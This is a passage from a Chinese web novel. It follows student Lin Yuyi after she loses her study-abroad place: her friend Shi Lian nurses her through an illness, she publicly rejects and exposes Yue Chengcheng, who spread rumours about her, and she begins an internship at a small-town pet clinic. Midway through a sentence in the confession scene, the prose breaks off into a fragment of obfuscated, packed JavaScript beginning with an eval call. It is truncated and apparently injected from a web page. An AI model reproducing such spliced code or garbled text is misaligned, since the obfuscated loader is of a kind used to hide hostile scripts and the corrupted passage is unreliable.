林羽翼模模糊糊地睁眼,又不舍地闭上眼,想要继续沉浸在舒适的睡眠中,她下意识蜷缩起身子,往被窝里最温暖的地方钻了钻,隔了好几秒,她忽的清醒过来,意识到刚刚吵醒自己的是什么声音。 是、是她的肚子!肚子饿得咕咕叫。 林羽翼一下子睁大眼,后知后觉自己正躺在酒店洁白的棉被窝里,她身后的触感柔软温暖,带着浅浅的海盐沐浴露的清香味,是她无比熟悉的,师涟家里的气味。 林羽翼翻身,正对上师涟温柔的目光,近距离对视下,她第一眼看见的,是师涟眼中,属于自己的影子。 “醒了?”师涟似乎刚睡醒不久,漆黑的瞳孔外笼罩着一层浅浅水雾,衬得她目光尤为认真、专注,她的手指掠过林羽翼的发丝,温柔得如同在抚摸花瓣上的蝴蝶。 林羽翼怔怔地,眨着眼。她愣了许久,脑袋里终于冒出一个想法,原来刚才梦见的那些画面,压根不是梦啊。 师涟真的来了。 睡梦中的那股无比安心的感觉,在这一刻彻底落到了实处。林羽翼觉得,自己这颗被刺得千疮百孔的残破心脏,似乎正在被另一种柔软的情绪治愈、修补。 大概,这就是名为友谊的细腻感情吧。 真好。 “你、你怎么来了?”觉得心脏被填补的同时,林羽翼莫名有些慌张,她往后退了一些,窸窸窣窣地退到没有被她们体温沾染过的被窝冰凉处,“我记得我昨晚在学校里逛,然后遇上了刘明,和他聊了会儿天,后来才迷迷糊糊地睡着。” “你还问我呢?”师涟的语气依旧温柔,林羽翼却听出了责备的意味,“给你打了那么多电话,你一次也没接,又不肯发短信告诉我发生了什么,我不来学校找你,怎么放心得下?” 师涟的手指沿着林羽翼发丝缓缓往上,勾勒到她的脸颊边,然后,轻轻地捏住她的脸颊,就如同高中时无数次做过的一样。 唯一不同的是,师涟这次捏得有点用力,似乎借着手上的力度,发泄着一夜担忧引起的不满与怒火。 “……疼。”林羽翼眼眶倏地湿润,可怜巴巴地从喉咙里哼出音节,她委屈地握住师涟的手掌,小声说,“对不起,我、我昨天情绪不太对劲儿,让你担心了。” 师涟的手指松开。 她反勾住林羽翼的指尖,两只手轻轻滑落在她们中间的枕头上。 “到底发生什么了?”师涟轻声询问,“是哥哥吗?他……又出什么事儿了吗?” “不是。”林羽翼垂眸,摇了摇头,她没有再看师涟的脸,她的视线往下,没有焦距地瞟了瞟,沉默几秒后,她低声说,“我出不了国了。” 林羽翼感觉到,她搭在枕头上的手指,一下子被师涟握紧,握得很紧很紧。 “没事儿。”她的唇边反而勾起一抹浅笑,无所谓般笑着摇摇头,晃晃师涟的手指,轻声安抚般说道,“没关系了。” 一夜过去,她的情绪已经非常平稳了。平稳到,可以面带微笑,缓缓和师涟讲完事情的前因与后果。 平静,不代表林羽翼能接受这样的结果。 她不接受,不甘心。 可是能怎么办呢? 除了不甘,她心里最浓的情绪,大概是一丝一缕数不尽的悔意。 备考雅思的时候,林羽翼后悔自己没考上一所好大学,而现在,她心里的悔恨才真正达到顶峰。 林羽翼说话时,没有抬眸一次,没有敢看师涟的眼睛。因此她没有看见,师涟那双向来平淡无波的眼眸里,燃起了怎样的怒火。 等她说完,师涟的嘴唇张了张,却一个字也没吐出来。 师涟也什么都做不到。 作为朋友,她帮不了林羽翼什么。 …… 林羽翼没有立刻回宿舍,她起床稍稍吃了点儿东西,又昏沉沉地倒在宾馆的床上,闭眼睡了过去。 她感觉自己的头有点儿疼,身体有些冷,在被窝里出了一身汗,可是掀开被子,又冷得厉害。 她发烧了。 林羽翼在宾馆里躺了一天,又昏沉沉地被师涟拉去医院,她烧得迷迷糊糊,似乎接连几天都在睡,只记得每次一睁眼,就看见守在床边的师涟。一勺一勺哄着她喝粥、吃药的师涟。 有一次,林羽翼昏睡中,模糊地感觉自己喊了什么,她被自己的喊声惊醒,却不记得到底喊的是什么。她问师涟,师涟只是温柔看着她,目光里藏着一丝说不出的情绪,然后摇头说,只是一些不重要的音节罢了。 林羽翼再度睡去。 师涟看着熟睡的她,目光中那一丝暗藏的复杂情绪渐渐显露,越来越深。 那一丝情绪,是深切的怜惜。 林羽翼昏睡中呼喊的两个字,是—— “哥哥。” …… 林羽翼身体皮实,发烧来得快去得也快,第三天晚上,她便恢复生龙活虎的状态,带着师涟在学校附近瞎逛悠。 林羽翼带师涟去了学校附近的野生动物园,在小县城里逛了大半天,就是不想再回学校。她觉得生病和师涟在医院的这几天,就好似一场缥缈美好的梦境,她可以躺在病床上,望着天花板发呆,什么也不去想,什么也不用面对,她可以当做什么都没发生,她一旦回去,回到校园里,这场梦就碎了。 可梦迟早是要结束的。 明天一早,师涟就要回蜀都了。最后一晚,她准备借住在林羽翼的宿舍里。 有师涟陪在身边,总比自己一个人回去要好,林羽翼虽然不情愿,但她清楚地知道,梦迟早会醒,她没法和时间抗衡,没法和现实抗衡,她无法抵御现实的侵蚀,她只能接受。 林羽翼牵着师涟的手,慢吞吞地回到校园里,再次踏上熟悉的银杏大道,看着周边抱着书本的学生来去匆匆,林羽翼心里蔓延起一股极其空虚落寞的感觉。 她觉得她好像一点儿也不属于这里。 不能出国了,那么她其他的规划和想法呢?读研,读博,找个好工作,快快替给给还清债务,真的能像她预想中那么进行吗? 她不知道。 如果她一开始就不符合公派出国项目的要求,如果她没能考过雅思,她都不会像、像现在这么迷茫。她不相信自己,也不再相信……别的什么人,比如学校。尽管她知道,站在他们的角度,那些人并没有错。 她觉得自己好像与整个世界隔开,周围一切都变得虚无缥缈,那么不真实。 “林羽翼,你看。” 走着走着,在师涟的轻声呼唤下,林羽翼抬头向远处望去,然后怔住脚步。教学楼上方的天空,正被一层由暖粉色渐变至火橘色的夕阳覆盖,厚厚的云朵一片一片挂在天边,染上火烧一般的艳丽色彩。更辽远的天际处,云层淡了,晚霞如轻纱一般散开,尾羽处颜色淡去,已经沾上几丝星光。 这一片晚霞云彩,美的不似人间。 林羽翼看了会儿天,看着那片美得不真实的彩霞,怔怔地轻声问:“师涟,你说,我以后该怎么办呢?我有些不知道了。” 师涟同样看着远方天际的霞光,握紧了林羽翼的手:“说不定,无论你怎样选,无论走哪条路,最后都会通向最好的结局呢?林羽翼,你相信吗?” 林羽翼沉默几秒,笑着摇摇头:“我不太信。” 走到宿舍楼下,空旷的学校突然热闹起来,攒动的人头把宿舍楼围得水泄不通。 “同学,这是怎么了?”林羽翼往前挤了挤,没挤进去,只得逮着一位垫脚看热闹的人问。那人头也没回,直直盯向人群最里边,大声道:“表白呢!” “有个男生在地上摆了花儿和蜡烛!”其他人叽叽喳喳地说。 “花儿是一圈红玫瑰呢!那男生还长得挺帅,听说是动医院的学生会副会长,是学霸呢!不知道哪个女生运气这么好呀?” 林羽翼对表白不感兴趣,她只想回寝室,然而艰难地往人群中挤了几步,终于快要挤到寝室门口,她听见周围的讨论声,倏地顿住脚步。 动医院学生会副会长? 那不就是、就是岳程成吗? 岳程成他,他在表白?他和谁表白?想起室友们平日里的八卦,林羽翼心里顿时有种不好的预感。 嘶,她现在绕开寝室正门,绕去后门还来得及吗? 林羽翼正要拉着师涟转身,却已经来不及了。她的脚步被拥挤的人潮挡住,前面的人群感应到什么似的让开一条路,眼前景色一下子开朗,她看见宿舍楼下的空地中央,摆着一大圈心形的火红玫瑰花环,每一朵玫瑰旁边还点着一个蜡烛。 这会儿天色已经黯淡,蜡烛的火光是那么显眼,犹如一个天然的舞台中心,而岳程成站在花环最中央,拿着麦克风,直直向林羽翼的方向看去。 岳程成穿的很正式,一身白色的西装衬衫,整齐地扎在西装裤里,还打了暗红色领带。他认真看向林羽翼,一双桃花眼里沉淀着温柔的光。 岳程成眉眼柔和地弯起,朝林羽翼的方向伸出一只手。 人群里响起一阵尖叫欢呼。 下一秒,岳程成刻意压低,用带着气泡音的低沉声音,轻缓念出他精心准备的台词:“动物医学院大三一班的林羽翼,你好。” 他的话音一落,林羽翼已经感觉到,周围所有目光都集中在自己身上。霎时间,她的脑海一片空白,说不清是尴尬还是愤怒,但在所有人的注视下,她的确慌乱得有些失了方寸。 岳程成跨过花环,一步步向她走来,一边走,一边继续说着:“你还记得我们第一次见面是什么时候吗?” “在你的记忆中,应该是大一暑假的社会实践吧。可是在我的记忆中,并不是那么一回事儿。我第一次见到你,是在大一的无机化学课上,你坐在最后一排的角落里,埋头专注地做着自己的事情,老师点你的名,让你起来回答问题,你没有一点儿慌张,语气是那么云淡风轻,甚至有些满不在乎。当时我就觉得,这个女孩真是骄傲到了极致。从那以后,我便时不时地关注着你的动向……” 林羽翼没有听进他的话,她看见他往前一步,她便想要往后退一步,可是后退的脚步却被人群拦住,她退无可退,她垂在身侧的左手,却和另外一只手握得越来越紧。 那是师涟的手。 岳程成越走越近,他一句一句述说着在他眼里,他们的相遇、相知,他的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周围没有了那么多目光的逼视,林羽翼慌乱的心绪平静些许,理智回笼,她直起身盯着岳程成,不解地问:“你说你大一开始就喜欢我,那你为什么现在才说呢?” 林羽翼本就是个对感情很迟钝的人,长这么大她没对谁动过心,也不知道喜欢是什么样的,虽然室友们都开玩笑说岳程成在追她,但她自己……的确没感觉到他哪儿喜欢她? 他见面时会和她打招呼?别的同学也会呀。 他会在图书馆和食堂蹲她?可林羽翼也会和别的朋友约图书馆、约饭啊,他不请自来的行为反而让她觉得麻烦,只是她不是那么在意,所以才没指责过他罢了。 他约着她一起备考雅思?可他们一直是和徐依依三人一起备考的呀。 生日礼物?朋友间互送礼物,不是很正常的事儿吗?别说师涟了,就连张潇扬送给林羽翼的生日礼物,都比岳程成送得多得多。更何况,林羽翼礼尚往来,秉持着不贪别人东西的准则,次次都回了礼。 再说了—— 就在上个月,被室友调侃过很多次后,林羽翼不厌其烦,终于忍不住,主动去问过岳程成究竟有没有喜欢的女生,但岳程成给她的回答是,没有。 所以林羽翼很不解。 既然喜欢她那么久,为什么以前一直要否认,为什么一点儿没让她感觉出来?林羽翼这会儿冷静下来,语气变得散漫,给人一种逼问的感觉。 岳程成撑着膝盖喘口气,咬咬牙,破罐子破摔似的说:“因为我以前不敢。” “为什么不敢?”林羽翼追问。 “林、林羽翼,你自己不觉得吗?你太傲了,没有哪个男孩子敢追你,我也不敢。男人嘛,都是要面子的,我怕我被你拒绝,颜面尽失,就像——就像今天这样!”岳程成低头,目光有些阴狠。 是的,林羽翼太傲了。 她不把任何人任何事放在眼里,放在心上,看似烂漫开朗的外壳下,藏着的是一颗拒人于千里之外的冰冷心脏,不仅冷,还冷得灼人。 她看似亲和谦虚,却不愿向任何人低头,心底始终又倔,又傲。 所有人都是这么认为的,老师、同学,岳程成。 岳程成最开始以为,林羽翼是哪个有钱人家的大小姐,不是他这种普通男生能招惹得起的。然而后来无意间在学生处看见她贫困生的申请资料后,他一下子对她生出了无穷无尽的好奇心。 一个家徒四壁的农村贫困生,怎么会那么傲?她有什么资格那么傲?岳程成不自觉地想要接近她,了解她。 男人的心态就是这么奇怪,岳程成一边被林羽翼的骄傲所吸引,可又一边想要戳破她的骄傲,想要看看褪去一身光环的她,是什么样。 “以前怕被我拒绝,那怎么现在就不怕了?”感觉到岳程成神态变化,林羽翼语气同样变得微凉,她忽然意识到了什么,“因为,你看见我‘为爱殉情’的新闻,觉得原来我也有脑子不清醒的时候,觉得我惨烈分手了,所以你可以趁虚而入?” 岳程成没有出声,但他阴恻的神色已经给出了回答。 是啊,林羽翼说得没错,那天他在电脑上看见林羽翼“跳桥”的照片时,心里第一反应竟是一阵诡异的狂喜。 哈,林羽翼那么傲的人,竟然也会喜欢一个人喜欢到奔赴千里去殉情!能做出这种脑瘫的事情,她还有什么骄傲的资本? 林羽翼沉默片刻,她忽的笑了,唇角往上勾起一个冰冷的弧度:“是你,岳程成。是你第一个看见网上的谣言,你认出了照片里的我,然后——” 她控制不住地笑,笑得声音发抖。 “然后,你以担心我的名义,把这事儿告诉了学院老师,紧接着让我的室友们去证实照片里的人就是我。” “我本来就是担心你!”岳程成直起身,吼道,“就算只是作为朋友,我看见你跳桥殉情,我不能担心你吗?” “可以啊,当然可以,可是你‘担心’的同时,就没有想过网上那些话都是谣言的可能吗?你难道没有想过,老师们知道这件事情后,后果是什么吗?”林羽翼笑着追问。 “能、能有什么后果?我当时联系不上你,我只能去求助老师!”岳程成目光飘忽,说话不自在地结巴一下,垂在身侧的拳头握紧,前后晃悠,“我不过是担心你,林羽翼,我当时真的好害怕,我怕我再也见不到你了……” 他的声音在抖,仿佛下一秒就会哭出来。 林羽翼心里却没有一丝怜悯,她的心情反而愈加寒冷:“岳程成,你觉得我信吗?你当我是傻的吗?” 岳程成表情骤然凝固。 林羽翼笑着,口中蹦出一字一字,字字泣血:“你真的相信网上的那些谣言吗?你真的打心底儿觉得我是会殉情的蠢货吗?就算你不信,你还是信了,并且,你将这件事告诉了学生会的老师,让它在学校里扩散出去。老师们原本就不信任我,因为他们和我不熟,就像你说得那样,我太傲了,我不讨人喜欢——我原本就没刻意讨过谁喜欢。可是你不一样,你这个做学生工作的副会长,天天在他们眼皮子底下晃悠,他们当然信你。你告诉他们我‘跳江’的事情时,表现得那么担心,哭得那么惨烈,就连我室友都知道你是个暗恋我多年的痴情种,在老师们眼里呢?你是痴情种,我是什么?我是傻逼,是个会威胁到学校稳定的定时炸弹。” “岳程成,你从最开始,就是奔着我出国的资格去的。” “你、你别污蔑我!”岳程成连连后退几步,“就算你不能出国,对我有什么好处?我不也没考过雅思?” “有什么好处?你自己心里不知道吗?”林羽翼舔舔唇,笑都懒得笑了,“如果没有好处,你干嘛选在这个节骨眼表白?” 好处就是—— 林羽翼从云端跌落,不再高高在上。 “跳江”一事,让林羽翼失去了出国名额,同时在学院老师心里留下一个坏印象,她以后的奖学金、保研答辩,通通会受到影响。 绩点专业第二又如何?除了这份应试成绩,她再没有别的可骄傲的地方。 公派出国,回国保研,读研读博,她为自己规划好的康庄大道,再也走不下去。她得像学校里每一个普通学生一样去焦虑未来,去迷茫,哦,她还要比普通人更迷茫一点儿,毕竟她的家庭条件,差得真是过分了。 岳程成的心态就这么变了。 在他心里,林羽翼不再是那个高高在上傲得不行的学霸女神,林羽翼没有傲的资本了。他觉得他可以轻易把她踩在脚下,控制在手心。 他觉得自己这时表白,再合适不过了,毕竟,林羽翼感情才刚刚“受挫”,出国的资格也没了,正是最无助、最需要依靠的时候。 他觉得自己这时表白,简直无懈可击。 他同样怎么也想不明白,林羽翼为什么会拒绝他。 或许是因为老底被揭穿的缘故,岳程成终于装也不装,瞪着眼睛大吼着问:“林羽翼,你为什么不和我在一起?你家里没钱,我家有啊!你和老师关系不好,我能在他们面前给你美言几句啊!你失恋——好好好,就算不是失恋,跳江总是真的,你抑郁症跳江心情不好,我可以安慰你啊!” “为什么不和你在一起?还能为什么?因为我不喜欢你啊。”林羽翼莫名其妙地看着他,心里大受震撼,一时都忘了笑,“我还想问你呢,你为什么会觉得我会喜欢一个害我失去好不容易拿到手的出国名额的男人,为什么会喜欢一个专门等在我心情最低谷到我伤口上撒盐的男人?我不傻吧,岳程成。” 林羽翼的话说得太直白,太戳心,竟然把岳程成激得恼羞成怒,发狂般一拳朝她挥来。 林羽翼没有被打中。 拳头挥在她脸上的前一秒,她被师涟用力向后拉开,踉跄一步站稳后,师涟已经挡在她前面。师涟脊背挺得很直,伸手坚定地拦在林羽翼和岳程成中间。 岳程成那一拳打个空,他撑着膝盖,咬牙恶狠狠盯着师涟,眼白露出血丝。 “你打。”师涟居高临下看着他,目光淡漠到极致,仿佛不是在看一个人,只是在看一头即将被击毙的发疯野兽,她另一只手拿出手机,不急不缓地摁下110三个按钮,“你的拳头只要敢落在我们俩谁身上,待会儿就让你进警局。” 岳程成看见她手上的动作,终于冷静一些,眼底的血丝消散,站直身子摆摆手:“开个玩笑而已嘛,师同学——是师同学吧?我没记错吧?你干嘛这么严肃,我不过是太伤心了,还能真打你们两个女生不成?” 师涟垂眸看着手机屏幕,淡淡出声:“可是你知道吗?我很想打你。当然,你放心,我不会打人,就算会,我也打不过你。” 没有人看见,她拿着手机那只手的手掌中央,被她掐出了一道道青紫的痕迹。 她真的很想打人。 在她听着林羽翼说的那些话时,真的很想、很想。 这是师涟二十多年来,第一次感觉到,那么愤怒,又那么无力的情绪。第一次感觉到,原来心脏里情绪翻涌,是那么、那么疼。 师涟很愤怒,但她不知道该如何发泄愤怒,她从未有过这样的情绪,所以她此时的语气很淡,淡到没有一丝情感波动: “既然不能打你,我就和你讲讲道理吧。你说不理解林羽翼为什么不答应你的表白,我来告诉你为什么。” “在我看来,爱情这种东西,一定是等值于友情,甚至在某方面高于友情。相信大多数正常人,都是这么认为的。” “林羽翼最低谷时,我作为她的朋友,一直陪着她,安慰她,尽我最大努力帮助她。看到网上的谣言时,我联系不上她,所以我只能自己想办法帮她辟谣、删帖。可你呢?你口口声声说着喜欢,却故意把她推入深渊,你的这份感情,能比得上半分友谊吗?林羽翼怎么会贪图你这份廉价的爱情呢?你明白了吗?” 不管岳程成有没有明白,师涟和林羽翼都不会再理会他。 师涟牵着林羽翼的手,一同决然离开,两个背影消失在黯淡黄昏尽头。 她们回到寝室,宿舍楼下围观的人群早已散去,玫瑰花环已经被打扫干净,一点儿痕迹都看不出来。 第二天一早,林羽翼送师涟去大巴车站,然后独自回到学校,为开题报告做准备。 出不了国又怎样?生活总得继续。 分别前,林羽翼对师涟说: “师涟,昨天你说,不管我选择哪条路,最终总会通往最好的结局。我回答你说,我不相信。” “我现在依旧不相信,但谢谢你,师涟。谢谢你愿意在我最无助最迷茫的时候陪在我身边,谢谢你没有介意我不接电话的任性,谢谢你一直一直以来对我的信赖。师涟,我不相信我的未来能走出怎样康庄美好的大路,我很迷茫,但就算如此,我依旧会走下去,依旧会,一刻不停地往前走。” 46.第31章 随波逐流,或者说按部就班的生活,是什么样呢? 林羽翼跟随着导师的安排,准备开题答辩,然后开始做实验。她的实验内容是分析一株兔场死亡案例中提纯出的霉菌,很幸运的是,这霉菌很少见,连她的导师都没怎么见过,更别说答辩组的其他老师了,因此她自由发挥的空间很大。 因此,她开题报告准备得很轻松,实验也做得很轻松。 大三后期的课业越来越少,林羽翼只用隔三差五去实验室里看看菌落,大多数时间,她只用在寝室里睡觉,或是在机房里码字,反正,不用再为学习而紧绷。 学习有什么用呢?绩点第二的好成绩,又有什么用呢? 不如摆烂。 林羽翼迷上了玩游戏,自从她在机房电脑里发现《仙剑奇侠传》,她当天的码字工作一结束,便立刻进入游戏,沉浸在那个动人的仙侠世界里。 仙剑一、仙剑二、仙剑三,还有即将发售的仙剑四,游戏一点点填补了林羽翼内心的空寂。 林羽翼畅快地摆烂,一天到晚除了码字就是玩儿,反倒是寝室里氛围越来越紧张,室友们要么一天到晚泡在实验室,为论文而焦灼,要么在图书馆为考研奋斗。 离考研还有大半年时间,但她们似乎已经找好了目标。 林羽翼还在犹豫。 她不知道要不要考研,或者说,要不要读研。 保研这条路果真是行不通了——出国的资格被取消后,班主任不知多少次暗示林羽翼,好好准备考研,不要把希望放在保研上,和其他优秀学生比较,她没有答辩的优势。 答辩组不会让她通过。 林羽翼如果有读研的想法,只能硬考。林羽翼并不惧怕考试,她相信自己的应试能力,她的绩点能轻松保持在年级第二,她能三个月自学雅思6.5分,她还怕自己考不上研? 她犹豫的是,到底要不要选择继续在学业上深造。 她害怕自己再遇到第二次类似的打击,她承受不起上天的第二次玩笑了。同样,尽管知道在学校的角度,老师们没有错,可她再不敢对他们有一丝一毫的信任了。 做不了决定,那就暂时不做决定。 林羽翼正放空地沉浸在游戏世界里时,电脑“叮咚咚”响一声,师涟发来一条消息:[周末有空去看电影吗?我请你。] 林羽翼:[?] 林羽翼:[什么电影?] 师涟发来了一个电影名,是最近很火的一部烂俗狗血爱情影片,票房倒是很高,但剧情稀烂,网上评分不到四分。 林羽翼眼皮抽了抽:[你……] 林羽翼:[喜欢看这种玩意儿?] 林羽翼:[你确定?] 几秒钟后,师涟拨了个电话过来,林羽翼接通,立刻听见电话那头,师涟细碎轻柔的笑声:“我确定。” 她一字一字地轻轻说。 “不过不是我要请你,是另外一个人。” “谁?”林羽翼打个哈欠。 “你打开演员表看看呢?”师涟轻声说。 演员表?林羽翼忽的猜测到什么,她在浏览器里搜索电影名,点开演员表,果然在配角栏里看到一个熟悉的名字。 张潇扬! 林羽翼惊喜地笑:“张潇扬她、她演电影啦!” “是啊,张大小姐留美回国,现在可出息了。”师涟语气轻柔,“她问你什么时候有空,说是给我们买包场。” “啧,她怎么不自己来问我?还让你来转告呢?”林羽翼小声嘀咕,“师涟,你和张潇扬关系什么时候这么好啦?” 没想到,师涟竟然没否认,她模棱两可地说:“可能因为我和她有共同话题吧。” “你和张大小姐有什么共同话题?”林羽翼想象不出来。高中时虽然她们三人经常一起玩,但几乎都是张潇扬凑在她身旁叽里咕噜地聊天,张潇扬和师涟单独交流少得可怜。 “你猜。”师涟依旧没有正面回答。 “猜不到。”林羽翼自言自语般嘀嘀咕咕,“你们俩该不会在背后蛐蛐我吧。” 电话里安静一秒。 师涟忽然“噗嗤”轻笑出声。 林羽翼怔了片刻,随即反应过来:“啊!还真是啊!师涟你学坏了,你竟然和张潇扬一起说我坏话!” 师涟温柔否认:“不是坏话。” 林羽翼用力道:“反正是在背后蛐蛐我!” “不是。”师涟的声音愈来愈轻,几乎只剩气音,隔着手机,轻柔地呵在林羽翼耳畔,“是在夸你。” 林羽翼脸红了。 她单手捂着脸,盯着屏幕上的演员表,怔了很久、很久。 …… 或许是太多年没见的原因,林羽翼在电影里差点儿没认出张潇扬。还是师涟提醒她,她才忽的反应过来:哦!原来是那个穿着昂贵公主裙的漂亮女配角啊。 林羽翼记忆中的张潇扬打扮时髦,但神色依旧留有学生时代稚嫩感觉的少女,可大屏幕上的她已经彻底出落成散发着成熟魅力的女人。五官还是一样的五官,却再看不出丁点儿学生时代的影子。 哦不,还是有一点点和以前相似的地方—— 张潇扬饰演的这位女配角,人设和她本人几乎一样,都是个飞扬跋扈的富二代。明明是个反派角色,看到后面,林羽翼竟然觉得有些可爱。 看见大屏幕上的张潇扬笑,她便跟着笑。张潇扬皱眉,她便皱眉。张潇扬哭……她不哭,她笑得更厉害。 笑完了,林羽翼又觉得心里空落落的。 张潇扬在大屏幕上熠熠生辉,以后,她无论是留在国内当演员,还是出国继续深造,都可以。她可以随意选择自己想要的未来。 林羽翼的未来却不可知。 像一片拨不开的浓雾。 看完电影,林羽翼和师涟走在夜色空洞的街道上,她靠着师涟的胳膊,抬头看会儿夜空中圆圆的月亮,低头看会儿两个人长长的影子,沉沉地说: “我不知道要不要考研,不知道……要不要读研。” 林羽翼没有询问师涟对未来的打算,她一早就知道,师涟会保研。她同样知道,这一次,师涟的目标是什么。 是清北。 去年冬天,师涟便去了清北的冬令营,今年夏天再去一次夏令营,推免已经是板上钉钉的事儿了。 高中时,师涟从没有考清北的想法,不知不觉三年多过去,她已经有了轻松去到那里的能力。 林羽翼真心为她开心。 也真心为自己而难过。 不知道要不要考研?师涟垂眸,目光落在她们被路灯拉得老长的影子上,思考片刻,询问道:“不考研的话,直接工作吗?” 林羽翼闷闷摇头:“……也不知道。” 她好像对工作也没什么概念。 码字挣的钱足够她养活自己,而她以前从未考虑过本科毕业就去工作,因此,她从未想过要做什么工作,怎样长线发展。 师涟拉着她的手,手指轻轻摩挲过手指腹,思考道:“暑假快到了,你们学院有什么实习活动吗?或许你可以趁着暑期时间,先去实习体验体验,看看自己是更喜欢工作,还是更喜欢读书。” 实习结束后再备考研究生也不迟,师涟知道林羽翼的应试能力有多优秀。 “实习啊?有,挺多的。”林羽翼掰着手指,“养殖场、生物工程实验室、制药公司,唔,还有、还有宠物医院!” 林羽翼说着,眼睛忽然一亮:“诶,师涟,要不我去宠物医院实习试试?” 林羽翼对小猫小狗还挺感兴趣的,尤其是寝室里养了猫之后,她发现自己挺喜欢猫猫狗狗。 更重要的是,宠物医院是新兴行业,成本低利润大,近几年养宠物的人越来越多,宠医这行发展空间也大。林羽翼要是现在入行,以后说不定能开一家属于自己的宠物医院呢! 行,宠物医院。 林羽翼说干就干,第二天回到学校便开始做调研,去了解有哪些宠物医院。和她去过的桂城养殖公司不同,养殖是老行业,发展已经非常成熟了,可是宠医是新兴行业,资本才刚刚入场,压根还不成规模。 和学校合作、招募实习生的那些医院,都是些小型医院,大多是以前毕业的校友开的。林羽翼去了解后发现实习工资都不高,而且不包吃住。这些店大多开在蜀都城里,对林羽翼来说,租房住的成本太高,就算自个儿花钱出去租房,可没有电脑,她没法趁着空余时间码字赚钱,实习的工资压根不够她生活。 于是,林羽翼没有报名学校的实习活动——既然都是些小诊所,她为什么不找一家离家近的呢?林羽翼记得,广都镇上也有几家宠物医院。 她之所以记得,是因为这些医院都修在河边,离哥哥曾经养鸭的地方不远。 高三的时候,林羽翼每次逃课去河边散步,都会路过宠物医院,透过玻璃,能看见里边活蹦乱跳的小猫小狗。 只不过,三年多过去,林羽翼再次回到广都河边,心态却完全变了。以前她在河边,会想念哥哥,期盼着哥哥哪一天会回来。现在回到河边,回想起王登高的作为,她心底只会泛起阵阵反感…… 甚至恶心。 她无意识地把和王登高有关的一切记忆封存在心灵深处,不愿意去回想。在她的脑海中,王登高三个字,似乎已经与出不了国的那段痛苦回忆绑定。 林羽翼犹豫再三,最终选了离河最远的那家宠物医院前去自荐。 那是家夫妻店小医院,妻子是院长兼医生,丈夫在店里兼职打杂。不到四十平的麻雀店面,却五脏俱全,各类检查仪器、X光、超声,什么都有,甚至有一个小小的手术室。 店长最近在学习中兽医,还在小店角落布置了一个中医角,林羽翼走进店里,没有闻到猫狗的臭味,入鼻反而是一股中药香。 小店原本不招实习生,夫妻两却被林羽翼的一番话说动了:“我刚考完雅思,能熟练用英语和外宾交流。” 就是这么一句话,让院长松了口:“行,你留下来试试。” 小小的广都城里当然没什么外宾,四十平不到的小小兽医院里更遇不到什么外国人,但英语还真是必须项—— 店里的各种检查设备,从血常规仪到生化仪再到X光机甚至专用打印机,每一个设备都是进口的,全英文!连说明书都是英文! 院长两夫妻每天用着那些医疗设备,被折磨得脑袋都大了,看着那么敦实的电子设备,咋那么容易停机呢?咋一不小心就坏了呢?明明他们每一步都按照说明书严格操作的呀!唉,那破说明也全是英文,压根看不懂!他们一天到晚得打好几通电话求助经销商。 院长不是没想过招实习生,但广都这小地方,能招到大专毕业的兽医生就不错了,那些个学生,英语水平还不如他们呢!人也不够激灵,打杂的工作都做不来,更不会和顾客周旋,渐渐的他们也就断了这个想法。 可林羽翼不一样,农大的高材生,英语水平又那么优秀!正解了他们的燃眉之急。 几句话的功夫,院长夫妻便和林羽翼商量好,实习期间一个月九百元工资,朝九晚八,每周工作六天。实习期三个月,林羽翼未来如果有机会转正,再谈正式工资。 第一天谈好了,立马签上合同,林羽翼第二天一早就去上班。 晚上林羽翼借助在师涟家,这样便能借着师涟的电脑码字。她原本想要给孙阿姨一笔房租,可孙阿姨摆着手连连拒绝: “都是自家人,给什么房租呀!我还巴不得小鸟你住这儿呢,给房间添点儿人气,还免得我每天都得去打扫空房间。” “以前你在我家住了多久?哪次我找你要房租了?现在你也不许给啊!” 但林羽翼觉得,以前毕竟是在读书,现在实习有固定工资了,不能一概而论。孙阿姨不肯收她的钱,她便在离开前,偷偷把钱放枕头下。 林羽翼的宠物医院实习,就此开始。 在林羽翼的想象中,在宠物医院工作应该非常美好,不忙的时候可以摸摸抱抱可爱的小猫小狗,忙碌的时候则是在救死扶伤,怎样看都非常有意义。 可现实却完全相反。 小猫小狗可爱吗? 可爱。 但是,昨天刚送来医院的毛茸茸可爱小生命,今早就可能已经是一具冰冷的尸体。 救死扶伤有意义吗? 当然有。 但是,并不是每一次医治都能得到正向的反馈,尤其是在与宠物主人的交谈中,昨天还与你谈笑着的客户,今早便歇斯底里地想砸了你的店。 要成为一名合格的宠物医生,医术与话术并列第一,你不仅得学会怎么救命、怎么治病、怎么扶伤,更得学会怎么和宠物主人周旋,怎么和宠主打交道,怎么安抚他们的情绪,怎么从他们手里哄来更多的钱—— “没办法,赚不到钱我们还活不活啦?”院长是这么说的。 院长是个很精明节约的中年女人,她总是能哄着宠物主人心甘情愿掏一大笔钱出来,又总是能从医院里犄角旮旯的小细节里省出一笔笔钱。 院长丈夫则大方得多,他从不可以节省,也不会半哄半骗从顾客手里拿钱,比起院长的精明,他更像个踏踏实实的打工人。 可是很矛盾的是,有一天早晨到医院,不知是谁扔了一只残疾小猫在店门口,院长气得要命,一边骂骂咧咧“赔钱货”,却又一边把小猫带进医院治疗。 反而是一向大方随和的院长丈夫,满脸无所谓笑呵呵地摆手说着:“你把它扔远点儿别管嘛。” 院长恶狠狠地瞪他:“你这是造孽!” 最后那只小猫还是被救活了。 是林羽翼一天天的,用着即将过期或者已经过期的药物,还有经销商送来的廉价猫粮和罐头,把它给喂活了。 这是林羽翼在兽医院里,亲手救活的第一个小生命,在这期间她学到了很多,可是她却高兴不起来。因为这些天里,她遇见的死亡,要比“活下来”的奇迹多得多。 因为心脏病,抽搐着死在她怀里的银色大猫。被主人要求安乐死,哭喊惨叫着死在她针管之下的哈巴狗。无力吐着唾沫睁着眼,自然老死在她面前的大松狮。 死亡带来的冲击力,比任何一次“生还的奇迹”还要大。 至少对林羽翼来说是如此。 平心而论,其实宠物医院工作强度并不高,一天最多接诊四五只宠物。林羽翼每天一早到医院,只需要稍稍打扫好卫生,便可以有大把的空余时间,拿来休息,或是看书学习。 院长虽然已经接近中年,却依旧有着一颗热爱学习的心,医院角落里堆满了各类专业书籍、打印好的期刊论文。有空的时候,她会领着林羽翼一起学习,让林羽翼教她英语,她甚至会上网,用电脑学习“大牛”们录制的网络课程。 